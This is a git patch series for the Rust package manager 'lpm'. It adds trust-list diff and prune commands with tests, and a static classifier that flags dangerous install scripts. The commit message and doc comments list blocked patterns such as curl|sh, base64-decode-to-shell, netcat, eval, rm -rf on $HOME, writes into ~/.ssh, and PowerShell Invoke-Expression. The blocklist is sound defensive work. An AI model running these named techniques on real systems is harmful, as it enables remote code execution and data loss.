esbuild@1 + let snap = TrustSnapshot::capture_current(&rich_td(&[ + ("esbuild@1.0.0", Some("sha512-old"), Some("sha256-old")), + ("sharp@1.0.0", None, None), + ])); + let curr = TrustSnapshot::capture_current(&rich_td(&[ + ("esbuild@1.0.0", Some("sha512-new"), Some("sha256-new")), + ("axios@1.0.0", None, None), + ])); + let entries = compute_full_diff(Some(&snap), &curr); + // Expect exactly 3 entries: 1 added + 1 removed + 1 changed. + assert_eq!(entries.len(), 3); + let kinds: Vec<&DiffKind> = entries.iter().map(|e| &e.kind).collect(); + // Ordering is added → removed → changed per impl contract. + assert_eq!( + kinds, + vec![&DiffKind::Added, &DiffKind::Removed, &DiffKind::Changed], + "diff ordering must be added-then-removed-then-changed" + ); + assert_eq!(entries[0].key, "axios@1.0.0"); + assert_eq!(entries[1].key, "sharp@1.0.0"); + assert_eq!(entries[2].key, "esbuild@1.0.0"); + } + + #[test] + fn diff_identical_yields_nothing() { + let td = rich_td(&[("esbuild@1.0.0", Some("sha512-x"), Some("sha256-y"))]); + let snap = TrustSnapshot::capture_current(&td); + let curr = TrustSnapshot::capture_current(&td); + let entries = compute_full_diff(Some(&snap), &curr); + assert!( + entries.is_empty(), + "identical snapshot+current must produce NO diff entries" + ); + } + + // ── compute_stale_keys ───────────────────────────────────────── + + #[test] + fn prune_rich_entries_by_name_strips_version_for_lookup() { + // esbuild@0.25.1 trusted; lockfile has esbuild@0.25.2 → name + // still installed, NOT stale. sharp@1.0.0 trusted; lockfile + // has no sharp → stale. + let td = rich_td(&[("esbuild@0.25.1", None, None), ("sharp@1.0.0", None, None)]); + let installed = name_set(&["esbuild", "lodash"]); + let stale = compute_stale_keys(&td, &installed); + assert_eq!(stale, vec!["sharp@1.0.0".to_string()]); + } + + #[test] + fn prune_rich_scoped_package_name_extraction() { + // `@scope/pkg@1.2.3` must strip to `@scope/pkg` (last `@`, + // not the first one). + let td = rich_td(&[("@myorg/secret@1.0.0", None, None)]); + let installed_with = name_set(&["@myorg/secret"]); + let installed_without: HashSet = HashSet::new(); + assert!( + compute_stale_keys(&td, &installed_with).is_empty(), + "scoped name in lockfile → not stale" + ); + assert_eq!( + compute_stale_keys(&td, &installed_without), + vec!["@myorg/secret@1.0.0".to_string()], + ); + } + + #[test] + fn prune_legacy_entries_by_bare_name() { + let td = TrustedDependencies::Legacy(vec!["esbuild".into(), "gone".into()]); + let installed = name_set(&["esbuild"]); + let stale = compute_stale_keys(&td, &installed); + assert_eq!(stale, vec!["gone".to_string()]); + } + + #[test] + fn prune_empty_trusted_yields_no_stale() { + let td = TrustedDependencies::default(); + let installed = name_set(&[]); + let stale = compute_stale_keys(&td, &installed); + assert!(stale.is_empty()); + } + + #[test] + fn prune_ignores_version_drift_not_stale() { + // Regression: PER-version entries (esbuild@1 trusted but the + // tree has esbuild@2) are NOT pruned by this command. The + // name IS installed; version drift is a BindingDrift concern. + let td = rich_td(&[("esbuild@1.0.0", None, None)]); + let installed = name_set(&["esbuild"]); + assert!( + compute_stale_keys(&td, &installed).is_empty(), + "version drift must NOT be flagged as stale by `trust prune`" + ); + } + + // ── remove_stale_from_manifest ───────────────────────────────── + + #[test] + fn remove_stale_rich_map_in_place() { + let mut manifest: serde_json::Value = serde_json::from_str( + r#"{ + "name": "proj", + "lpm": { + "trustedDependencies": { + "esbuild@1.0.0": {"integrity": "sha512-e"}, + "sharp@1.0.0": {"integrity": "sha512-s"} + } + } + }"#, + ) + .unwrap(); + remove_stale_from_manifest(&mut manifest, &["sharp@1.0.0".to_string()]); + let td = manifest + .get("lpm") + .unwrap() + .get("trustedDependencies") + .unwrap(); + assert!(td.get("esbuild@1.0.0").is_some()); + assert!(td.get("sharp@1.0.0").is_none()); + } + + #[test] + fn remove_stale_legacy_array_in_place() { + let mut manifest: serde_json::Value = serde_json::from_str( + r#"{"name":"proj","lpm":{"trustedDependencies":["esbuild","sharp"]}}"#, + ) + .unwrap(); + remove_stale_from_manifest(&mut manifest, &["sharp".to_string()]); + let arr = manifest + .get("lpm") + .unwrap() + .get("trustedDependencies") + .unwrap() + .as_array() + .unwrap(); + assert_eq!(arr.len(), 1); + assert_eq!(arr[0], serde_json::Value::String("esbuild".into())); + } + + #[test] + fn remove_stale_nonexistent_key_is_noop() { + let mut manifest: serde_json::Value = serde_json::from_str( + r#"{"name":"proj","lpm":{"trustedDependencies":{"esbuild@1.0.0":{}}}}"#, + ) + .unwrap(); + let original = manifest.clone(); + remove_stale_from_manifest(&mut manifest, &["nonexistent".to_string()]); + assert_eq!(manifest, original); + } + + // ── write_manifest atomicity ─────────────────────────────────── + + #[test] + fn write_manifest_atomic_no_tmp_leaks() { + let dir = tempdir().unwrap(); + let path = dir.path().join("package.json"); + let manifest: serde_json::Value = serde_json::from_str(r#"{"name":"proj"}"#).unwrap(); + write_manifest(&path, &manifest).unwrap(); + + assert!(path.exists()); + assert!( + !path.with_extension("json.tmp").exists(), + "atomic write must not leak tmp file" + ); + // Preserves pretty-print + trailing newline. + let content = std::fs::read_to_string(&path).unwrap(); + assert!(content.starts_with("{\n")); + assert!(content.ends_with("}\n")); + } + + // ── end-to-end prune on a real manifest ──────────────────────── + + #[test] + fn prune_removes_stale_entry_and_leaves_active_entry_intact() { + let dir = tempdir().unwrap(); + let pkg_json = dir.path().join("package.json"); + std::fs::write( + &pkg_json, + r#"{ + "name": "proj", + "lpm": { + "trustedDependencies": { + "esbuild@1.0.0": {"integrity": "sha512-e"}, + "sharp@1.0.0": {"integrity": "sha512-s"} + } + } + }"#, + ) + .unwrap(); + + // Fake lockfile with only esbuild installed. + let lockfile = lpm_lockfile::Lockfile { + metadata: lpm_lockfile::LockfileMetadata { + lockfile_version: 1, + resolved_with: Some("test".into()), + }, + packages: vec![lpm_lockfile::LockedPackage { + name: "esbuild".into(), + version: "1.0.0".into(), + ..Default::default() + }], + root_aliases: Default::default(), + }; + let lock_toml = lockfile.to_toml().unwrap(); + std::fs::write(dir.path().join("lpm.lock"), lock_toml).unwrap(); + + let rt = tokio::runtime::Runtime::new().unwrap(); + rt.block_on(run_prune( + dir.path(), + true, /* yes */ + false, + true, /* json */ + )) + .unwrap(); + + let after = std::fs::read_to_string(&pkg_json).unwrap(); + let after_json: serde_json::Value = serde_json::from_str(&after).unwrap(); + let td = after_json + .get("lpm") + .unwrap() + .get("trustedDependencies") + .unwrap(); + assert!( + td.get("esbuild@1.0.0").is_some(), + "active entry must survive prune" + ); + assert!( + td.get("sharp@1.0.0").is_none(), + "stale entry must be removed" + ); + } +} diff --git a/crates/lpm-cli/src/main.rs b/crates/lpm-cli/src/main.rs index ee5326d6..54fa3d59 100644 --- a/crates/lpm-cli/src/main.rs +++ b/crates/lpm-cli/src/main.rs @@ -659,6 +659,16 @@ enum Commands { action: commands::global::GlobalCmd, }, + /// Inspect and manage `trustedDependencies` in package.json. + /// + /// Phase 46 P1: `lpm trust diff` shows how the current manifest's + /// trust list differs from the last install's snapshot; `lpm trust + /// prune` removes entries whose package is no longer installed. + Trust { + #[command(subcommand)] + action: commands::trust::TrustCmd, + }, + /// Show pool revenue stats. Pool, @@ -2555,6 +2565,10 @@ async fn async_main() -> Result<()> { .await } Commands::Global { action } => commands::global::run(&client, action, cli.json).await, + Commands::Trust { action } => { + let cwd = std::env::current_dir().map_err(lpm_common::LpmError::Io)?; + commands::trust::run(&action, &cwd).await + } Commands::Pool => commands::pool::run(&client, cli.json).await, Commands::Skills { action, package } => { let cwd = std::env::current_dir().map_err(lpm_common::LpmError::Io)?; From 120fcc35a33cf4adf2065af5d82d136c62082a97 Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Tue, 21 Apr 2026 08:15:51 +0100 Subject: [PATCH 09/61] =?UTF-8?q?fix(phase-46):=20P1=20audit=20v4=20?= =?UTF-8?q?=E2=80=94=20accurate=20trust=20prune=20--json=20mutated=20flag?= =?UTF-8?q?=20+=20error=20on=20malformed=20TD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes two Low findings from the end-of-P1 audit: F1 — `lpm trust prune --json` emitted the structured output BEFORE the write, with an optimistic `mutated: true` that the subsequent non-TTY/confirmation guard could invalidate by erroring out. The JSON contract was unreliable for automation. Fix: restructure `run_prune` so at most ONE terminal output is emitted per invocation, always post-mutation (or post-decision-not-to-mutate): - empty stale → mutated: false, no write - dry-run → mutated: false, no write - non-TTY + !yes → Err before any output - write_manifest fails → Err propagates, no JSON emitted - success → mutated: true, emitted AFTER write_manifest returns Ok `mutated` is now an accurate post-condition, not a prediction. F2 — `extract_trusted_dependencies` used `unwrap_or_default()`, so a manifest with a malformed `lpm.trustedDependencies` value (typo, wrong shape, etc.) silently degraded to "empty set" — prune then reported "nothing to prune" and exited 0. The typed read path used by `trust diff` (via `lpm_workspace::read_package_json`) already errors on this; `trust prune` now matches that strictness. Fix: `extract_trusted_dependencies` returns Result; propagates via `?` in run_prune. Error message names the offending key and the accepted forms (legacy array vs. Phase-4 rich map). Absent key path unchanged — still Ok(default). Tests (7 new in commands::trust::tests, bringing trust to 20/20): Unit: - extract_trusted_dependencies_absent_key_is_ok_default - extract_trusted_dependencies_valid_legacy_array_parses - extract_trusted_dependencies_valid_rich_map_parses - extract_trusted_dependencies_malformed_shape_errors (4 bad shapes exercised: number, string, bool, array-of-non-strings) End-to-end (filesystem-observable post-conditions — no stdout capture required, because file state on disk is the authoritative proof that the JSON emission matches reality): - run_prune_empty_stale_does_not_mutate_manifest — byte-identical pre/post, proves no spurious write when nothing is stale - run_prune_dry_run_does_not_mutate_manifest — same, with a real stale entry present and --dry-run honored - run_prune_malformed_trusted_deps_errors_before_any_write — F2 end-to-end: bad shape surfaces as LpmError + file unchanged Full-workspace CI gate: clippy -D warnings clean, fmt clean, 20/20 trust tests pass. Co-Authored-By: Claude Opus 4.7 (1M context) --- crates/lpm-cli/src/commands/trust.rs | 272 +++++++++++++++++++++++++-- 1 file changed, 255 insertions(+), 17 deletions(-) diff --git a/crates/lpm-cli/src/commands/trust.rs b/crates/lpm-cli/src/commands/trust.rs index b6ab3947..47a95565 100644 --- a/crates/lpm-cli/src/commands/trust.rs +++ b/crates/lpm-cli/src/commands/trust.rs @@ -347,22 +347,53 @@ async fn run_prune( let manifest_text = std::fs::read_to_string(&pkg_json_path).map_err(LpmError::Io)?; let mut manifest: serde_json::Value = serde_json::from_str(&manifest_text) .map_err(|e| LpmError::Registry(format!("failed to parse package.json: {e}")))?; - let trusted = extract_trusted_dependencies(&manifest); + // Audit-v4 F2: malformed `lpm.trustedDependencies` surfaces as a + // hard error instead of silently defaulting to empty. The typed + // read `lpm trust diff` uses via `lpm_workspace::read_package_json` + // already has this strictness; this path now matches. + let trusted = extract_trusted_dependencies(&manifest)?; let stale = compute_stale_keys(&trusted, &installed_names); - if json { - print_prune_json(&stale, dry_run, !stale.is_empty() && !dry_run); - } else { - print_prune_human_preview(&stale, &trusted); + // Audit-v4 F1: structured output MUST reflect the actual final + // state of the file. The previous implementation emitted JSON + // pre-mutation (with an optimistic `mutated: true`) and could + // then exit with an error on the non-TTY/confirmation guard, + // leaving JSON consumers with an inaccurate contract. We now + // emit at most ONE structured block per invocation, always at + // the terminal branch, with the actual `mutated` state. + + // Empty: trivial success, no mutation. + if stale.is_empty() { + if json { + print_prune_json(&stale, dry_run, false); + } else { + output::success("No stale trust entries. package.json unchanged."); + } + return Ok(()); } - if stale.is_empty() || dry_run { + // Preview the stale list in human mode. JSON mode renders the + // full list as part of its structured output below. + if !json { + print_prune_human_preview(&stale); + } + + // Dry-run: report would-mutate without actually mutating. + if dry_run { + if json { + print_prune_json(&stale, dry_run, false); + } else { + output::info(&format!( + "Dry run: {} stale entry/entries would be removed.", + stale.len() + )); + } return Ok(()); } // Non-TTY without --yes is a hard error: prune mutates // package.json. No prompting without explicit opt-in from CI / - // scripts. + // scripts. Error BEFORE any success-shaped output. if !yes && !is_tty() { return Err(LpmError::Script( "lpm trust prune needs a TTY for confirmation. Pass `--yes` to \ @@ -383,10 +414,16 @@ async fn run_prune( } } + // Mutate, THEN emit — so `mutated: true` in JSON mode is an + // accurate post-condition, not an optimistic prediction. Any + // error from `write_manifest` propagates via `?` and the caller + // sees the failure; no partial JSON is emitted on failure paths. remove_stale_from_manifest(&mut manifest, &stale); write_manifest(&pkg_json_path, &manifest)?; - if !json { + if json { + print_prune_json(&stale, dry_run, true); + } else { output::success(&format!( "Removed {} stale trust entry/entries.", stale.len() @@ -395,12 +432,34 @@ async fn run_prune( Ok(()) } -fn extract_trusted_dependencies(manifest: &serde_json::Value) -> TrustedDependencies { - manifest +/// Extract the `lpm.trustedDependencies` subtree from a parsed +/// `package.json`. +/// +/// - Key absent → `Ok(TrustedDependencies::default())` (empty). This +/// matches the install-side behavior for projects that haven't +/// declared any trust bindings. +/// - Key present but of an invalid shape (not a string array, not an +/// object map, field typos inside bindings, etc.) → `Err`. **Audit-v4 +/// F2 fix:** previously this used `unwrap_or_default()` which +/// silently produced an empty set, causing `trust prune` to report +/// "nothing to prune" on a manifest with a typo. Now it matches the +/// strictness of the typed read path `trust diff` uses. +fn extract_trusted_dependencies( + manifest: &serde_json::Value, +) -> Result { + let Some(td_val) = manifest .get("lpm") .and_then(|l| l.get("trustedDependencies")) - .map(|v| serde_json::from_value::(v.clone()).unwrap_or_default()) - .unwrap_or_default() + else { + return Ok(TrustedDependencies::default()); + }; + serde_json::from_value::(td_val.clone()).map_err(|e| { + LpmError::Registry(format!( + "package.json > lpm > trustedDependencies has invalid shape: {e}. \ + Valid forms: [\"name\", ...] (legacy) or \ + {{\"name@version\": {{integrity, scriptHash}}}} (Phase 4+)." + )) + }) } fn remove_stale_from_manifest(manifest: &mut serde_json::Value, stale: &[String]) { @@ -434,11 +493,13 @@ fn write_manifest(path: &Path, manifest: &serde_json::Value) -> Result<(), LpmEr Ok(()) } -fn print_prune_human_preview(stale: &[String], _trusted: &TrustedDependencies) { - if stale.is_empty() { - output::success("No stale trust entries. package.json unchanged."); - return; - } +/// Render the stale-entry preview list (human mode only). +/// +/// Callers must guard on `!stale.is_empty()` before invoking; the +/// empty case now owns its own success message in `run_prune` +/// directly so JSON and human paths share exactly one terminal +/// output per invocation (audit-v4 F1). +fn print_prune_human_preview(stale: &[String]) { output::info(&format!( "{} stale trust entry/entries (no longer in the resolved tree):", stale.len() @@ -742,4 +803,181 @@ mod tests { "stale entry must be removed" ); } + + // ── Audit-v4 fixes ──────────────────────────────────────────── + + #[test] + fn extract_trusted_dependencies_absent_key_is_ok_default() { + // "Key not present" is NOT an error — it's a project that + // hasn't declared any trust bindings. Same behavior as the + // install-side code path. + let manifest: serde_json::Value = serde_json::from_str(r#"{"name":"proj"}"#).unwrap(); + let td = extract_trusted_dependencies(&manifest).expect("absent key → Ok"); + assert!(matches!(td, TrustedDependencies::Legacy(v) if v.is_empty())); + + // Same for `{"lpm": {}}` (empty lpm block). + let manifest: serde_json::Value = serde_json::from_str(r#"{"lpm":{}}"#).unwrap(); + let td = extract_trusted_dependencies(&manifest).expect("empty lpm → Ok"); + assert!(matches!(td, TrustedDependencies::Legacy(v) if v.is_empty())); + } + + #[test] + fn extract_trusted_dependencies_valid_legacy_array_parses() { + let manifest: serde_json::Value = + serde_json::from_str(r#"{"lpm":{"trustedDependencies":["esbuild"]}}"#).unwrap(); + let td = extract_trusted_dependencies(&manifest).unwrap(); + match td { + TrustedDependencies::Legacy(names) => { + assert_eq!(names, vec!["esbuild".to_string()]); + } + _ => panic!("expected Legacy variant"), + } + } + + #[test] + fn extract_trusted_dependencies_valid_rich_map_parses() { + let manifest: serde_json::Value = serde_json::from_str( + r#"{"lpm":{"trustedDependencies":{"esbuild@1.0.0":{"integrity":"sha512-x"}}}}"#, + ) + .unwrap(); + let td = extract_trusted_dependencies(&manifest).unwrap(); + match td { + TrustedDependencies::Rich(map) => { + assert_eq!(map.len(), 1); + assert!(map.contains_key("esbuild@1.0.0")); + } + _ => panic!("expected Rich variant"), + } + } + + #[test] + fn extract_trusted_dependencies_malformed_shape_errors() { + // Audit-v4 F2: the previous `unwrap_or_default()` path + // silently treated malformed shapes as empty, so `trust + // prune` would report "nothing to prune" on a manifest + // with a typo. Post-fix: a hard error with an actionable + // message pointing at the accepted forms. + // + // Valid shapes: string array OR object map. Number, bool, + // string, nested-object-of-strings are all invalid. + for bad in [ + r#"{"lpm":{"trustedDependencies":42}}"#, + r#"{"lpm":{"trustedDependencies":"esbuild"}}"#, + r#"{"lpm":{"trustedDependencies":true}}"#, + r#"{"lpm":{"trustedDependencies":[123]}}"#, // array of non-strings + ] { + let manifest: serde_json::Value = serde_json::from_str(bad).unwrap(); + let err = extract_trusted_dependencies(&manifest) + .expect_err("malformed trustedDependencies must error, not silently default"); + let msg = err.to_string(); + assert!( + msg.contains("trustedDependencies"), + "error message names the offending key: {msg}" + ); + assert!( + msg.contains("invalid shape") || msg.contains("Valid forms"), + "error message hints at accepted forms: {msg}" + ); + } + } + + #[test] + fn run_prune_empty_stale_does_not_mutate_manifest() { + // Audit-v4 F1 corollary: the empty-stale path reports + // `mutated: false` AND must leave package.json untouched + // (byte-identical). Proves the JSON emission and the file + // state are in sync. + let dir = tempdir().unwrap(); + let pkg_json = dir.path().join("package.json"); + let original = r#"{"name":"proj","lpm":{"trustedDependencies":{"esbuild@1.0.0":{}}}}"#; + std::fs::write(&pkg_json, original).unwrap(); + // Lockfile has esbuild → nothing stale. + let lockfile = lpm_lockfile::Lockfile { + metadata: lpm_lockfile::LockfileMetadata { + lockfile_version: 1, + resolved_with: Some("test".into()), + }, + packages: vec![lpm_lockfile::LockedPackage { + name: "esbuild".into(), + version: "1.0.0".into(), + ..Default::default() + }], + root_aliases: Default::default(), + }; + std::fs::write(dir.path().join("lpm.lock"), lockfile.to_toml().unwrap()).unwrap(); + + let rt = tokio::runtime::Runtime::new().unwrap(); + rt.block_on(run_prune(dir.path(), true, false, true /* json */)) + .unwrap(); + + // File unchanged — not even reformatted — proves the empty + // path never called `write_manifest`. + let after = std::fs::read_to_string(&pkg_json).unwrap(); + assert_eq!( + after, original, + "empty-stale path must not write package.json" + ); + } + + #[test] + fn run_prune_dry_run_does_not_mutate_manifest() { + // `--dry-run` must report the would-prune list without + // writing. Confirms JSON's `mutated: false` in dry-run mode + // is backed by an actual no-op on disk. + let dir = tempdir().unwrap(); + let pkg_json = dir.path().join("package.json"); + let original = r#"{"name":"proj","lpm":{"trustedDependencies":{"sharp@1.0.0":{}}}}"#; + std::fs::write(&pkg_json, original).unwrap(); + // Lockfile has only esbuild → sharp IS stale. + let lockfile = lpm_lockfile::Lockfile { + metadata: lpm_lockfile::LockfileMetadata { + lockfile_version: 1, + resolved_with: Some("test".into()), + }, + packages: vec![lpm_lockfile::LockedPackage { + name: "esbuild".into(), + version: "1.0.0".into(), + ..Default::default() + }], + root_aliases: Default::default(), + }; + std::fs::write(dir.path().join("lpm.lock"), lockfile.to_toml().unwrap()).unwrap(); + + let rt = tokio::runtime::Runtime::new().unwrap(); + rt.block_on(run_prune(dir.path(), true, true /* dry_run */, true)) + .unwrap(); + + let after = std::fs::read_to_string(&pkg_json).unwrap(); + assert_eq!( + after, original, + "dry-run must never write package.json (even though stale exists)" + ); + } + + #[test] + fn run_prune_malformed_trusted_deps_errors_before_any_write() { + // Audit-v4 F2 end-to-end: bad shape propagates as LpmError + // from `run_prune` before any file write. package.json + // stays byte-identical on the error path. + let dir = tempdir().unwrap(); + let pkg_json = dir.path().join("package.json"); + let original = r#"{"name":"proj","lpm":{"trustedDependencies":42}}"#; + std::fs::write(&pkg_json, original).unwrap(); + let lockfile = lpm_lockfile::Lockfile { + metadata: lpm_lockfile::LockfileMetadata { + lockfile_version: 1, + resolved_with: Some("test".into()), + }, + packages: vec![], + root_aliases: Default::default(), + }; + std::fs::write(dir.path().join("lpm.lock"), lockfile.to_toml().unwrap()).unwrap(); + + let rt = tokio::runtime::Runtime::new().unwrap(); + let result = rt.block_on(run_prune(dir.path(), true, false, true)); + assert!(result.is_err(), "malformed TD must error out of run_prune"); + + let after = std::fs::read_to_string(&pkg_json).unwrap(); + assert_eq!(after, original, "error path must not write package.json"); + } } From 648e0ae24e0846f3c60804e011c32be91d9365d5 Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Tue, 21 Apr 2026 10:11:47 +0100 Subject: [PATCH 10/61] =?UTF-8?q?feat(phase-46):=20P2=20chunk=201=20?= =?UTF-8?q?=E2=80=94=20static=5Fgate=20classifier=20(layer=201)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit New pure, deterministic classifier for lifecycle-script bodies. Emits Green | Amber | Red only; AmberLlm is reserved for P8. Classification semantics (P2 = classification-only per D20): - Green: exact match of curated allowlist (node-gyp rebuild, tsc [-b|-p path], prisma generate, husky [install], electron-rebuild, node .{js,cjs,mjs} where basename is NOT install.js / postinstall.js). - Red: hand-curated blocklist — pipe-to-shell (curl|sh, wget|bash, base64 -d|sh), node -e / --eval, iex / nc / netcat / ncat / eval, nested package managers (npm/pnpm/yarn/bun/lpm/pip/gem/cargo/brew install), rm -rf on ~/$HOME/absolute paths, chmod +x/777 outside package, redirects into ~/.bashrc / ~/.ssh/** / /etc/** /root/**, PowerShell literals (Invoke-Expression, FromBase64String, Add-MpPreference), Unicode control chars (Trojan Source class). - Amber: everything else, including compound commands AND network binary downloaders (playwright install, puppeteer, cypress install, electron-builder install-app-deps) per D18. Pipeline ordering (per §4.1 with the review-round refinement): 1. Raw-string red prefilter (Unicode + PowerShell literals) 2. Quote-aware operator normalization (see below) 3. shlex tokenization (parse failure → Amber) 4. Tokenized red checks (MUST precede compound fallback so curl … | sh → Red, not Amber) 5. Compound-operator detection (any &&, ||, ;, |, >, >>, <, <<, &, ( ), $(, backtick) → Amber 6. Green allowlist match 7. Fallback → Amber Quote-aware operator normalizer fixes a review-round finding: shlex splits on whitespace but does NOT recognize shell operators, so `curl url|sh` tokenized as ["curl", "url|sh"] and silently downclassified to Amber via the compound fallback. The normalizer pads every UNQUOTED operator with surrounding whitespace before shlex sees the string, tracks single-quote / double-quote / backslash-escape state, and recognizes the four two-char operators (&&, ||, >>, <<) as atomic units. Contract: no execution semantics change. P2 populates static_tier on BlockedPackage for UX annotation only; auto-execution of greens is gated on P5 (sandbox) + P6 (tier-aware auto-run). Ship: - Adds shlex = "1.3" to workspace deps. - 58 unit tests in static_gate::tests, including 7 regression tests for the no-space operator finding (curl|sh, base64 -d|sh, echo hi>~/.bashrc, tsc&&husky install, and three negative cases covering quoted / escaped operator characters). CI gate (exact CI commands): - cargo clippy --workspace -- -D warnings ✓ - cargo fmt --check ✓ - grep -r 'fancy-regex' crates/*/Cargo.toml ✓ (empty) - cargo build --workspace ✓ - cargo nextest run --workspace --exclude ✓ (3834 pass; lpm-integration-tests known flake lpm-task perf_eval_glob passes serially) - cargo nextest run -p lpm-security ✓ (387/387) Co-Authored-By: Claude Opus 4.7 (1M context) --- Cargo.toml | 6 + crates/lpm-security/Cargo.toml | 1 + crates/lpm-security/src/lib.rs | 1 + crates/lpm-security/src/static_gate.rs | 1177 ++++++++++++++++++++++++ 4 files changed, 1185 insertions(+) create mode 100644 crates/lpm-security/src/static_gate.rs diff --git a/Cargo.toml b/Cargo.toml index ed54e4da..6311e295 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -157,6 +157,12 @@ filetime = "0.2" # Pure-Rust, GNU patch format, no fuzzy matching by default. diffy = "0.4" +# Phase 46 P2: POSIX shell tokenizer for the Layer 1 static-gate +# classifier. Pure-Rust, no dependencies, understands standard shell +# quoting so `lpm-security::static_gate` can split script bodies into +# argv without spawning a real shell. +shlex = "1.3" + [profile.release] opt-level = 3 lto = true diff --git a/crates/lpm-security/Cargo.toml b/crates/lpm-security/Cargo.toml index 3b89f02d..ad5487ed 100644 --- a/crates/lpm-security/Cargo.toml +++ b/crates/lpm-security/Cargo.toml @@ -19,6 +19,7 @@ ignore = { workspace = true } bytecount = "0.6" chrono = { workspace = true } sha2 = { workspace = true } +shlex = { workspace = true } time = { version = "0.3", features = ["formatting", "parsing"] } tracing = { workspace = true } diff --git a/crates/lpm-security/src/lib.rs b/crates/lpm-security/src/lib.rs index 524376cb..26c5c6c7 100644 --- a/crates/lpm-security/src/lib.rs +++ b/crates/lpm-security/src/lib.rs @@ -18,6 +18,7 @@ pub mod behavioral; pub mod query; pub mod script_hash; pub mod skill_security; +pub mod static_gate; pub mod triage; pub mod typosquatting; diff --git a/crates/lpm-security/src/static_gate.rs b/crates/lpm-security/src/static_gate.rs new file mode 100644 index 00000000..8ad9cd36 --- /dev/null +++ b/crates/lpm-security/src/static_gate.rs @@ -0,0 +1,1177 @@ +//! Phase 46 P2 — Layer 1 static-gate classifier. +//! +//! Pure, deterministic classification of lifecycle-script bodies into +//! one of three tiers: +//! +//! - [`StaticTier::Red`] — body matches a hand-curated blocklist of +//! dangerous patterns (pipe-to-shell, base64-decode-to-execution, +//! nested package-manager installs, Unicode obfuscation, +//! PowerShell `Invoke-Expression` style, `rm -rf` on `$HOME`, +//! etc.). Blocks unconditionally; never reaches the LLM. +//! - [`StaticTier::Green`] — body is exactly one of a tightly-curated +//! allowlist of pure local build steps (`node-gyp rebuild`, `tsc`, +//! `prisma generate`, `husky install`, `electron-rebuild`, and +//! relative-path `node foo.js` style). No network binary +//! downloaders (D18). +//! - [`StaticTier::Amber`] — everything else, including compound +//! commands that mix otherwise-green steps, network binary +//! downloaders per D18, and novel patterns. Deferred to +//! layers 2/3/4. +//! +//! The classifier NEVER changes execution semantics. P2 populates +//! `static_tier` on [`crate::triage::StaticTier`] call sites for UX +//! annotation only; auto-execution of greens is gated on P5 (sandbox) +//! and P6 (tier-aware auto-run) per the D20 ordering rule. +//! +//! Only `Green | Amber | Red` are emitted here; `AmberLlm` is reserved +//! for P8 and is set by the LLM triage harness, not by static +//! classification. +//! +//! ## Algorithm (per §4.1 of the Phase 46 plan, with the review-round +//! ordering refinement) +//! +//! 1. **Raw-string red prefilter** for markers that can survive or +//! evade tokenization — Unicode control characters (RTL overrides, +//! zero-width joiners, BOM) and PowerShell literals +//! (`Invoke-Expression`, `FromBase64String`, `Add-MpPreference`). +//! These are checked on the raw UTF-8 string before we ever call +//! [`shlex::split`]. +//! 2. **Normalize shell operators, then tokenize.** `shlex` splits on +//! whitespace with POSIX quoting but does NOT recognize shell +//! operators — it leaves `|`, `>`, `>>`, `&&`, `||`, etc. embedded +//! in tokens when there is no surrounding whitespace (empirically: +//! `curl url|sh` tokenizes as `["curl", "url|sh"]`). Before +//! tokenizing we run a quote-aware pass that pads every unquoted +//! operator with spaces so `shlex::split` can do its normal job. +//! Parse failure (unmatched quotes, etc.) → Amber — the classifier +//! fails closed. Empty input → Amber. +//! 3. **Tokenized red checks** — scan the token stream for dangerous +//! commands (pipe-to-shell, `eval`, `node -e`, nested PM installs, +//! `rm -rf` on dangerous targets, etc.). This runs BEFORE the +//! compound-to-amber fallback so that constructs like `curl … | sh` +//! correctly end up Red rather than Amber. +//! 4. **Compound detection** — any compound operator token (`&&`, +//! `||`, `;`, `|`, `>`, `>>`, `<`, `<<`, `&`, subshell parens, or +//! an embedded `` ` ``/`$(` inside a token) → Amber. Compounds of +//! otherwise-green commands are deliberately amber: approving one +//! green + one hidden red in the same body would be a silent +//! bypass. +//! 5. **Green allowlist** — an exact match against a short, curated +//! set of single-command token shapes. +//! 6. **Fallback** → Amber. Novel-but-uninteresting scripts land here +//! by design; the user's explicit `lpm approve-builds` review is +//! the gate that moves them forward. + +use crate::triage::StaticTier; + +/// Classify a single lifecycle-script body into a static tier. +/// +/// The input is expected to be the **raw value** of one lifecycle +/// phase (`preinstall` / `install` / `postinstall`) exactly as it +/// appears in a package's `package.json`. Callers that need to +/// classify multiple phases should classify each independently and +/// aggregate worst-wins (Red > AmberLlm > Amber > Green) at the call +/// site — the classifier itself is scoped to a single command string. +/// +/// Pure and deterministic: same input → same output across runs, +/// machines, and LPM versions (as long as the rule set hasn't been +/// edited). +pub fn classify(script: &str) -> StaticTier { + // Empty / whitespace-only bodies don't run anything; treat as + // Amber (the caller probably should have short-circuited already, + // but fail conservative rather than silently green). + if script.trim().is_empty() { + return StaticTier::Amber; + } + + // Step 1 — raw-string red prefilter. + if contains_unicode_control_chars(script) || contains_powershell_red_literal(script) { + return StaticTier::Red; + } + + // Step 2 — normalize shell operators + tokenize. `shlex` only + // splits on whitespace (with POSIX quoting); it does NOT + // recognize shell operators. Empirically, `curl url|sh` + // tokenizes as `["curl", "url|sh"]` (the `|` stays embedded), + // which would silently downclass `curl … | sh` to Amber via the + // compound-detection fallback. To fix, pad unquoted operators + // with whitespace BEFORE handing the string to shlex. Parse + // failure (unmatched quotes, etc.) → Amber, so malformed scripts + // can't slip into Green. + let normalized = normalize_operators(script); + let tokens: Vec = match shlex::split(&normalized) { + Some(t) if !t.is_empty() => t, + _ => return StaticTier::Amber, + }; + + // Step 3 — tokenized red checks. MUST run before the compound + // fallback so `curl … | sh` doesn't degrade to Amber. + if tokens_match_red(&tokens) { + return StaticTier::Red; + } + + // Step 4 — compound fallback. + if tokens_are_compound(&tokens) { + return StaticTier::Amber; + } + + // Step 5 — green allowlist. + if tokens_match_green(&tokens) { + return StaticTier::Green; + } + + // Step 6 — default. + StaticTier::Amber +} + +// ───────────────────────────────────────────────────────────────────── +// Step 1 — raw-string prefilter +// ───────────────────────────────────────────────────────────────────── + +/// Check for Unicode code points that enable bidi / direction +/// obfuscation inside otherwise-innocuous-looking script text. These +/// are never legitimately needed in a postinstall script body; a +/// maintainer who ships one is either mistaken or malicious, and +/// either way the script needs human review. +/// +/// Covers: +/// - `U+200B..U+200F` — zero-width space / 